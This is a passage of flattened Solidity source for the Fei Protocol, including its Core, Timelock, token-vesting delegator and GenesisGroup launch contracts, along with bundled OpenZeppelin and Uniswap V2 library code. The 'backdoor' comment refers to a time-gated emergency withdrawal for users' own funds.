string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } return chainId; } } // File contracts/fei-protocol/core/Core.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title ICore implementation /// @author Fei Protocol contract Core is ICore, Permissions { IFei public override fei; IERC20 public override tribe; address public override genesisGroup; bool public override hasGenesisGroupCompleted; constructor() public { _setupGovernor(msg.sender); Fei _fei = new Fei(address(this)); fei = IFei(address(_fei)); Tribe _tribe = new Tribe(address(this), msg.sender); tribe = IERC20(address(_tribe)); } function setFei(address token) external override onlyGovernor { fei = IFei(token); emit FeiUpdate(token); } function setGenesisGroup(address _genesisGroup) external override onlyGovernor { genesisGroup = _genesisGroup; } function allocateTribe(address to, uint amount) external override onlyGovernor { IERC20 _tribe = tribe; require(_tribe.balanceOf(address(this)) > amount, "Core: Not enough Tribe"); _tribe.transfer(to, amount); emit TribeAllocation(to, amount); } function completeGenesisGroup() external override { require(!hasGenesisGroupCompleted, "Core: Genesis Group already complete"); require(msg.sender == genesisGroup, "Core: Caller is not Genesis Group"); hasGenesisGroupCompleted = true; // solhint-disable-next-line not-rely-on-time emit GenesisPeriodComplete(now); } } // File contracts/fei-protocol/dao/ITimelockedDelegator.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; interface ITribe is IERC20 { function delegate(address delegatee) external; } /// @title a timelock for TRIBE allowing for sub-delegation /// @author Fei Protocol /// @notice allows the timelocked TRIBE to be delegated by the beneficiary while locked interface ITimelockedDelegator { // ----------- Events ----------- event Delegate(address indexed _delegatee, uint _amount); event Undelegate(address indexed _delegatee, uint _amount); // ----------- Beneficiary only state changing api ----------- /// @notice delegate locked TRIBE to a delegatee /// @param delegatee the target address to delegate to /// @param amount the amount of TRIBE to delegate. Will increment existing delegated TRIBE function delegate(address delegatee, uint amount) external; /// @notice return delegated TRIBE to the timelock /// @param delegatee the target address to undelegate from /// @return the amount of TRIBE returned function undelegate(address delegatee) external returns(uint); // ----------- Getters ----------- /// @notice associated delegate proxy contract for a delegatee /// @param delegatee The delegatee /// @return the corresponding delegate proxy contract function delegateContract(address delegatee) external view returns(address); /// @notice associated delegated amount for a delegatee /// @param delegatee The delegatee /// @return uint amount of TRIBE delegated /// @dev Using as source of truth to prevent accounting errors by transferring to Delegate contracts function delegateAmount(address delegatee) external view returns(uint); /// @notice the total delegated amount of TRIBE function totalDelegated() external view returns(uint); /// @notice the TRIBE token contract function tribe() external view returns(ITribe); } // File contracts/fei-protocol/dao/Timelock.sol pragma solidity ^0.6.0; // Forked from Compound // See https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 1 hours; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returnData) = target.call{value: value}(callData); //solhint-disable avoid-call-value require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solhint-disable-next-line not-rely-on-time return block.timestamp; } } // File @openzeppelin/contracts/access/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/fei-protocol/utils/LinearTokenTimelock.sol pragma solidity ^0.6.0; // Inspired by OpenZeppelin TokenTimelock contract // Reference: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/TokenTimelock.sol contract LinearTokenTimelock is Timed { // ERC20 basic token contract being held IERC20 public lockedToken; // beneficiary of tokens after they are released address public beneficiary; address public pendingBeneficiary; uint public initialBalance; uint internal lastBalance; event Release(address indexed _beneficiary, uint _amount); event BeneficiaryUpdate(address indexed _beneficiary); event PendingBeneficiaryUpdate(address indexed _pendingBeneficiary); constructor (address _beneficiary, uint32 _duration) public Timed(_duration) { require(_duration != 0, "LinearTokenTimelock: duration is 0"); beneficiary = _beneficiary; _initTimed(); } // Prevents incoming LP tokens from messing up calculations modifier balanceCheck() { if (totalToken() > lastBalance) { uint delta = totalToken() - lastBalance; initialBalance += delta; } _; lastBalance = totalToken(); } modifier onlyBeneficiary() { require(msg.sender == beneficiary, "LinearTokenTimelock: Caller is not a beneficiary"); _; } function release() external onlyBeneficiary balanceCheck { uint amount = availableForRelease(); require(amount != 0, "LinearTokenTimelock: no tokens to release"); lockedToken.transfer(beneficiary, amount); emit Release(beneficiary, amount); } function totalToken() public view virtual returns(uint) { return lockedToken.balanceOf(address(this)); } function alreadyReleasedAmount() public view returns(uint) { return initialBalance - totalToken(); } function availableForRelease() public view returns(uint) { uint elapsed = timestamp(); uint _duration = duration; uint totalAvailable = initialBalance * elapsed / _duration; uint netAvailable = totalAvailable - alreadyReleasedAmount(); return netAvailable; } function setPendingBeneficiary(address _pendingBeneficiary) public onlyBeneficiary { pendingBeneficiary = _pendingBeneficiary; emit PendingBeneficiaryUpdate(_pendingBeneficiary); } function acceptBeneficiary() public virtual { _setBeneficiary(msg.sender); } function _setBeneficiary(address newBeneficiary) internal { require(newBeneficiary == pendingBeneficiary, "LinearTokenTimelock: Caller is not pending beneficiary"); beneficiary = newBeneficiary; emit BeneficiaryUpdate(newBeneficiary); pendingBeneficiary = address(0); } function setLockedToken(address tokenAddress) internal { lockedToken = IERC20(tokenAddress); } } // File contracts/fei-protocol/dao/TimelockedDelegator.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title a proxy delegate contract for TRIBE /// @author Fei Protocol contract Delegatee is Ownable { ITribe public tribe; /// @notice Delegatee constructor /// @param _delegatee the address to delegate TRIBE to /// @param _tribe the TRIBE token address constructor(address _delegatee, address _tribe) public { tribe = ITribe(_tribe); tribe.delegate(_delegatee); } /// @notice send TRIBE back to timelock and selfdestruct function withdraw() public onlyOwner { ITribe _tribe = tribe; uint balance = _tribe.balanceOf(address(this)); _tribe.transfer(owner(), balance); selfdestruct(payable(owner())); } } /// @title ITimelockedDelegator implementation /// @author Fei Protocol contract TimelockedDelegator is ITimelockedDelegator, LinearTokenTimelock { mapping (address => address) public override delegateContract; mapping (address => uint) public override delegateAmount; ITribe public override tribe; uint public override totalDelegated; /// @notice Delegatee constructor /// @param _tribe the TRIBE token address /// @param _beneficiary default delegate, admin, and timelock beneficiary /// @param _duration duration of the token timelock window constructor(address _tribe, address _beneficiary, uint32 _duration) public LinearTokenTimelock(_beneficiary, _duration) { tribe = ITribe(_tribe); tribe.delegate(_beneficiary); setLockedToken(_tribe); } function delegate(address delegatee, uint amount) public override onlyBeneficiary { require(amount <= tribeBalance(), "TimelockedDelegator: Not enough Tribe"); if (delegateContract[delegatee] != address(0)) { amount += undelegate(delegatee); } ITribe _tribe = tribe; address _delegateContract = address(new Delegatee(delegatee, address(_tribe))); delegateContract[delegatee] = _delegateContract; delegateAmount[delegatee] = amount; totalDelegated += amount; _tribe.transfer(_delegateContract, amount); emit Delegate(delegatee, amount); } function undelegate(address delegatee) public override onlyBeneficiary returns(uint) { address _delegateContract = delegateContract[delegatee]; require(_delegateContract != address(0), "TimelockedDelegator: Delegate contract nonexistent"); Delegatee(_delegateContract).withdraw(); uint amount = delegateAmount[delegatee]; totalDelegated -= amount; delegateContract[delegatee] = address(0); delegateAmount[delegatee] = 0; emit Undelegate(delegatee, amount); return amount; } /// @notice calculate total TRIBE held plus delegated /// @dev used by LinearTokenTimelock to determine the released amount function totalToken() public view override returns(uint256) { return tribeBalance() + totalDelegated; } /// @notice accept beneficiary role over timelocked TRIBE. Delegates all held (non-subdelegated) tribe to beneficiary function acceptBeneficiary() public override { _setBeneficiary(msg.sender); tribe.delegate(msg.sender); } function tribeBalance() internal view returns (uint256) { return tribe.balanceOf(address(this)); } } // File contracts/fei-protocol/genesis/IGenesisGroup.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title Equal access to the first bonding curve transaction /// @author Fei Protocol interface IGenesisGroup { // ----------- Events ----------- event Purchase(address indexed _to, uint _value); event Redeem(address indexed _to, uint _amountIn, uint _amountFei, uint _amountTribe); event Commit(address indexed _from, address indexed _to, uint _amount); event Launch(uint _timestamp); // ----------- State changing API ----------- /// @notice allows for entry into the Genesis Group via ETH. Only callable during Genesis Period. /// @param to address to send FGEN Genesis tokens to /// @param value amount of ETH to deposit function purchase(address to, uint value) external payable; /// @notice redeem FGEN genesis tokens for FEI and TRIBE. Only callable post launch /// @param to address to send redeemed FEI and TRIBE to. function redeem(address to) external; /// @notice commit Genesis FEI to purchase TRIBE in DEX offering /// @param from address to source FGEN Genesis shares from /// @param to address to earn TRIBE and redeem post launch /// @param amount of FGEN Genesis shares to commit function commit(address from, address to, uint amount) external; /// @notice launch Fei Protocol. Callable once Genesis Period has ended or the max price has been reached function launch() external; // ----------- Getters ----------- /// @notice calculate amount of FEI and TRIBE received if the Genesis Group ended now. /// @param amountIn amount of FGEN held or equivalently amount of ETH purchasing with /// @param inclusive if true, assumes the `amountIn` is part of the existing FGEN supply. Set to false to simulate a new purchase. /// @return feiAmount the amount of FEI received by the user /// @return tribeAmount the amount of TRIBE received by the user function getAmountOut(uint amountIn, bool inclusive) external view returns (uint feiAmount, uint tribeAmount); /// @notice check whether GenesisGroup has reached max FEI price. Sufficient condition for launch function isAtMaxPrice() external view returns(bool); } // File contracts/fei-protocol/genesis/IDOInterface.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title an initial DeFi offering for the TRIBE token /// @author Fei Protocol interface IDOInterface { // ----------- Events ----------- event Deploy(uint _amountFei, uint _amountTribe); // ----------- Genesis Group only state changing API ----------- /// @notice deploys all held TRIBE on Uniswap at the given ratio /// @param feiRatio the exchange rate for FEI/TRIBE /// @dev the contract will mint any FEI necessary to do the listing. Assumes no existing LP function deploy(Decimal.D256 calldata feiRatio) external; /// @notice swaps Genesis Group FEI on Uniswap For TRIBE /// @param amountFei the amount of FEI to swap /// @return uint amount of TRIBE sent to Genesis Group function swapFei(uint amountFei) external returns(uint); } // File contracts/fei-protocol/pool/IPool.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title A fluid pool for earning a reward token with staked tokens /// @author Fei Protocol interface IPool { // ----------- Events ----------- event Claim(address indexed _from, address indexed _to, uint _amountReward); event Deposit(address indexed _from, address indexed _to, uint _amountStaked); event Withdraw(address indexed _from, address indexed _to, uint _amountStaked, uint _amountReward); // ----------- State changing API ----------- /// @notice collect redeemable rewards without unstaking /// @param from the account to claim for /// @param to the account to send rewards to /// @return the amount of reward claimed /// @dev redeeming on behalf of another account requires ERC-20 approval of the pool tokens function claim(address from, address to) external returns(uint); /// @notice deposit staked tokens /// @param to the account to deposit to /// @param amount the amount of staked to deposit /// @dev requires ERC-20 approval of stakedToken for the Pool contract function deposit(address to, uint amount) external; /// @notice claim all rewards and withdraw stakedToken /// @param to the account to send withdrawn tokens to /// @return amountStaked the amount of stakedToken withdrawn /// @return amountReward the amount of rewardToken received function withdraw(address to) external returns(uint amountStaked, uint amountReward); /// @notice initializes the pool start time. Only callable once function init() external; // ----------- Getters ----------- /// @notice the ERC20 reward token /// @return the IERC20 implementation address function rewardToken() external view returns(IERC20); /// @notice the total amount of rewards distributed by the contract over entire period /// @return the total, including currently held and previously claimed rewards function totalReward() external view returns (uint); /// @notice the amount of rewards currently redeemable by an account /// @param account the potentially redeeming account /// @return amountReward the amount of reward tokens /// @return amountPool the amount of redeemable pool tokens function redeemableReward(address account) external view returns(uint amountReward, uint amountPool); /// @notice the total amount of rewards owned by contract and unlocked for release /// @return the total function releasedReward() external view returns (uint); /// @notice the total amount of rewards owned by contract and locked /// @return the total function unreleasedReward() external view returns (uint); /// @notice the total balance of rewards owned by contract, locked or unlocked /// @return the total function rewardBalance() external view returns (uint); /// @notice the total amount of rewards previously claimed /// @return the total function claimedRewards() external view returns(uint128); /// @notice the ERC20 staked token /// @return the IERC20 implementation address function stakedToken() external view returns(IERC20); /// @notice the total amount of staked tokens in the contract /// @return the total function totalStaked() external view returns(uint128); /// @notice the staked balance of a given account /// @param account the user account /// @return the total staked function stakedBalance(address account) external view returns(uint); } // File contracts/fei-protocol/oracle/IBondingCurveOracle.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title bonding curve oracle interface for Fei Protocol /// @author Fei Protocol /// @notice peg is to be the current bonding curve price if pre-Scale interface IBondingCurveOracle is IOracle { // ----------- Genesis Group only state changing API ----------- /// @notice initializes the oracle with an initial peg price /// @param initialPeg a peg denominated in Dollars per X /// @dev divides the initial peg by the uniswap oracle price to get initialPrice. And kicks off thawing period function init(Decimal.D256 calldata initialPeg) external; // ----------- Getters ----------- /// @notice the referenced uniswap oracle price function uniswapOracle() external returns(IOracle); /// @notice the referenced bonding curve function bondingCurve() external returns(IBondingCurve); } // File contracts/fei-protocol/genesis/GenesisGroup.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title IGenesisGroup implementation /// @author Fei Protocol contract GenesisGroup is IGenesisGroup, CoreRef, ERC20, ERC20Burnable, Timed { using Decimal for Decimal.D256; IBondingCurve private bondingcurve; IBondingCurveOracle private bondingCurveOracle; IPool private pool; IDOInterface private ido; uint private exchangeRateDiscount; mapping(address => uint) public committedFGEN; uint public totalCommittedFGEN; uint public totalCommittedTribe; /// @notice a cap on the genesis group purchase price Decimal.D256 public maxGenesisPrice; /// @notice GenesisGroup constructor /// @param _core Fei Core address to reference /// @param _bondingcurve Bonding curve address for purchase /// @param _ido IDO contract to deploy /// @param _oracle Bonding curve oracle /// @param _pool Staking Pool /// @param _duration duration of the Genesis Period /// @param _maxPriceBPs max price of FEI allowed in Genesis Group in dollar terms /// @param _exchangeRateDiscount a divisor on the FEI/TRIBE ratio at Genesis to deploy to the IDO constructor( address _core, address _bondingcurve, address _ido, address _oracle, address _pool, uint32 _duration, uint _maxPriceBPs, uint _exchangeRateDiscount ) public CoreRef(_core) ERC20("Fei Genesis Group", "FGEN") Timed(_duration) { bondingcurve = IBondingCurve(_bondingcurve); exchangeRateDiscount = _exchangeRateDiscount; ido = IDOInterface(_ido); fei().approve(_ido, uint(-1)); pool = IPool(_pool); bondingCurveOracle = IBondingCurveOracle(_oracle); _initTimed(); maxGenesisPrice = Decimal.ratio(_maxPriceBPs, 10000); } modifier onlyGenesisPeriod() { require(!isTimeEnded(), "GenesisGroup: Not in Genesis Period"); _; } function purchase(address to, uint value) external override payable onlyGenesisPeriod { require(msg.value == value, "GenesisGroup: value mismatch"); require(value != 0, "GenesisGroup: no value sent"); _mint(to, value); emit Purchase(to, value); } function commit(address from, address to, uint amount) external override onlyGenesisPeriod { burnFrom(from, amount); committedFGEN[to] = amount; totalCommittedFGEN += amount; emit Commit(from, to, amount); } function redeem(address to) external override { (uint feiAmount, uint genesisTribe, uint idoTribe) = getAmountsToRedeem(to); uint tribeAmount = genesisTribe + idoTribe; require(tribeAmount != 0, "GenesisGroup: No redeemable TRIBE"); uint amountIn = balanceOf(to); burnFrom(to, amountIn); uint committed = committedFGEN[to]; committedFGEN[to] = 0; totalCommittedFGEN -= committed; totalCommittedTribe -= idoTribe; if (feiAmount != 0) { fei().transfer(to, feiAmount); } tribe().transfer(to, tribeAmount); emit Redeem(to, amountIn, feiAmount, tribeAmount); } function getAmountsToRedeem(address to) public view postGenesis returns (uint feiAmount, uint genesisTribe, uint idoTribe) { uint userFGEN = balanceOf(to); uint userCommittedFGEN = committedFGEN[to]; uint circulatingFGEN = totalSupply(); uint totalFGEN = circulatingFGEN + totalCommittedFGEN; // subtract purchased TRIBE amount uint totalGenesisTribe = tribeBalance() - totalCommittedTribe; if (circulatingFGEN != 0) { feiAmount = feiBalance() * userFGEN / circulatingFGEN; } if (totalFGEN != 0) { genesisTribe = totalGenesisTribe * (userFGEN + userCommittedFGEN) / totalFGEN; } if (totalCommittedFGEN != 0) { idoTribe = totalCommittedTribe * userCommittedFGEN / totalCommittedFGEN; } return (feiAmount, genesisTribe, idoTribe); } function launch() external override { require(isTimeEnded() || isAtMaxPrice(), "GenesisGroup: Still in Genesis Period"); core().completeGenesisGroup(); address genesisGroup = address(this); uint balance = genesisGroup.balance; bondingCurveOracle.init(bondingcurve.getAveragePrice(balance)); bondingcurve.purchase{value: balance}(genesisGroup, balance); bondingcurve.allocate(); pool.init(); ido.deploy(_feiTribeExchangeRate()); uint amountFei = feiBalance() * totalCommittedFGEN / (totalSupply() + totalCommittedFGEN); if (amountFei != 0) { totalCommittedTribe = ido.swapFei(amountFei); } // solhint-disable-next-line not-rely-on-time emit Launch(now); } // Add a backdoor out of Genesis in case of brick function emergencyExit(address from, address to) external { require(now > (startTime + duration + 3 days), "GenesisGroup: Not in exit window"); uint amountFGEN = balanceOf(from); uint total = amountFGEN + committedFGEN[from]; require(total != 0, "GenesisGroup: No FGEN or committed balance"); require(address(this).balance >= total, "GenesisGroup: Not enough ETH to redeem"); require(msg.sender == from || allowance(from, msg.sender) >= total, "GenesisGroup: Not approved for emergency withdrawal"); burnFrom(from, amountFGEN); committedFGEN[from] = 0; payable(to).transfer(total); } function getAmountOut( uint amountIn, bool inclusive ) public view override returns (uint feiAmount, uint tribeAmount) { uint totalIn = totalSupply(); if (!inclusive) { totalIn += amountIn; } require(amountIn <= totalIn, "GenesisGroup: Not enough supply"); uint totalFei = bondingcurve.getAmountOut(totalIn); uint totalTribe = tribeBalance(); return (totalFei * amountIn / totalIn, totalTribe * amountIn / totalIn); } function isAtMaxPrice() public view override returns(bool) { uint balance = address(this).balance; require(balance != 0, "GenesisGroup: No balance"); return bondingcurve.getAveragePrice(balance).greaterThanOrEqualTo(maxGenesisPrice); } function burnFrom(address account, uint amount) public override { // Sender doesn't need approval if (msg.sender == account) { increaseAllowance(account, amount); } super.burnFrom(account, amount); } function _feiTribeExchangeRate() public view returns (Decimal.D256 memory) { return Decimal.ratio(feiBalance(), tribeBalance()).div(exchangeRateDiscount); } } // File @uniswap/v2-core/contracts/interfaces/[email protected] pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File @uniswap/v2-periphery/contracts/libraries/[email protected] pragma solidity =0.6.6; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File @uniswap/v2-periphery/contracts/libraries/[email protected] pragma solidity >=0.5.0; library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // File @uniswap/v2-periphery/contracts/interfaces/[email protected] pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external 